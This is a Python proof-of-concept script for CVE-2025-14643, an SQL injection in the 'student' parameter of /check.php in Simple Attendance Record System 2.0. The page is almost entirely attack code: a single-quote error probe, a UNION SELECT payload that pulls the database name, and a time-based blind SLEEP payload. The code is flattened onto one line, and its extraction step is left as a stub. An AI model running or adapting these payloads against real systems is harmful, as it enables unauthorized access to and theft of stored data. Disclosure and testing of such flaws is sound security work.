CVE-2025-14643 Simple Attendance Record System 2.0 SQL注入漏洞

# CVE-2025-14643 SQL Injection PoC # Target: Simple Attendance Record System 2.0 # File: /check.php # Parameter: student import requests import sys def test_sql_injection(target_url): """Test for SQL injection vulnerability in student parameter""" # Basic injection test - single quote payload_basic = "'" params = {'student': payload_basic} print(f"[*] Testing basic SQL injection...") print(f"[*] Target: {target_url}") print(f"[*] Payload: {payload_basic}") try: response = requests.get(f"{target_url}/check.php", params=params, timeout=10) # Check for SQL error indicators if any(indicator in response.text.lower() for indicator in ['sql', 'syntax', 'mysql', 'error', 'warning']): print("[+] Potential SQL injection vulnerability detected!") print(f"[+] Status code: {response.status_code}") return True else: print("[-] Basic test did not reveal obvious SQL errors") except Exception as e: print(f"[-] Request failed: {e}") return False def extract_database_info(target_url): """Extract database information using UNION-based injection""" # UNION-based injection to get database name union_payload = "' UNION SELECT NULL,database(),NULL-- -" params = {'student': union_payload} print(f"\n[*] Attempting database enumeration...") print(f"[*] Payload: {union_payload}") try: response = requests.get(f"{target_url}/check.php", params=params, timeout=10) print(f"[*] Response length: {len(response.text)}") # Parse response to extract database name # Add your parsing logic here except Exception as e: print(f"[-] Failed: {e}") def blind_sql_injection(target_url, payload): """Time-based blind SQL injection test""" # Time-based blind injection time_payload = f"' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)-- -" params = {'student': time_payload} print(f"\n[*] Testing time-based blind SQL injection...") try: response = requests.get(f"{target_url}/check.php", params=params, timeout=15) if response.elapsed.total_seconds() >= 5: print("[+] Blind SQL injection confirmed!") return True except requests.exceptions.Timeout: print("[+] Blind SQL injection confirmed (timeout occurred)!") return True except Exception as e: print(f"[-] Failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') test_sql_injection(target)